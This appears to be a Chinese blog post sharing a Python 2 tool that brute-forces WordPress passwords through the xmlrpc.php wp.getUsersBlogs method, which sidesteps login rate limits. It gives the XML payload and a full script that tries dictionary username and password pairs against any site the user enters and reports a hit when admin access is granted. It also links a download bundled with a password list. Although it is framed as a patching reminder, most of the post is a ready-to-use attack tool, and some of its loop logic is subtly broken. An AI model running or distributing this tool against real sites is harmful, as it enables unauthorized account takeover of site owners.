前几天看到了 《利用xmlrpc.php对WordPress进行暴力破解攻击》,试了下Wordpress安装后默认带有这漏洞,影响面应该是比较大的,对弱密码党是很不幸的消息。
于是写了这个利用工具,分享给大家,目的是提醒大家修补一下,我看到很多站都没理睬这个问题。
复习下利用方法:可无限制的POST以下数据到xmlrpc.php判断帐号是否正确.
<?xml version="1.0" encoding="iso-8859-1"?><methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>username</value></param> <param><value>password</value></param> </params></methodCall>
以下是python
# -*- coding: utf-8 -*-
'''
Created on 2014-07-30
Title: WordPress xmlrpc 利用工具
author: qingxp9
weibo: http://weibo.com/qingxp9/
Wordpress中通过xmlrpc.php提供的接口尝试猜解用户的密码,可以绕过wordpress对暴力破解的限制,
漏洞详情请查看:http://www.freebuf.com/articles/web/38861.html
'''
import urllib2
import re
def ReadMe():
print """说明:
1.在本文件同目录下新建usernames.txt、passwords.txt分别存入用户名、密码字典
2.按提示输入WordPress站点(例如:www.flincllck.com)
"""
def GetUrl():
urlinput=raw_input("请输入wordpress站点:")
requrl="http://"+re.match(r"(http://)?(.*)",urlinput).expand('\g<2>')+"/xmlrpc.php"
print "尝试利用:"+requrl
return requrl
def Aviable(requrl):
try:
result = urllib2.urlopen(url=requrl).read()
except urllib2.URLError:
print "抱歉,此站点漏洞不可用"
return False
else :
if result == "XML-RPC server accepts POST requests only.":
print "\n该站点存在此漏洞,尝试破解中:"
return True
else :
print "抱歉,此站点漏洞不可用"
print "网页返回:\n "+result
return False
def Exploit():
requrl=GetUrl()
if Aviable(requrl) :
f_username=open("usernames.txt","r")
f_password=open("passwords.txt","r")
num=0
Flag=0
for name in f_username:
if Flag == 1:
break
for key in f_password:
if num % 10 == 0:
print "已尝试"+str(num)+"个"
reqdata='<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs\
</methodName><params><param><value>'+ name + \
'</value></param><param><value>'+ key +\
'</value></param></params></methodCall>'
req = urllib2.Request(url=requrl,data=reqdata)
result = urllib2.urlopen(req).read()
num=num+1
if "isAdmin" in result :
print "Got it !"
print "username :"+name+"password :"+key
Flag = 1
break
elif "faultString" and "403" in result :
continue
else :
print "Unknown error"
print "抱歉,在此字典中未找到正确的密码"
if __name__ == '__main__' :
ReadMe()
Exploit()
github: https://github.com/qingxp9/wordpress_xmlrpc_exploit
网盘下载:http://pan.baidu.com/s/1dD5X0VR ,包内放了个很简陋的字典
我用宇宙最好用IDE跑下,截图给大家看看:
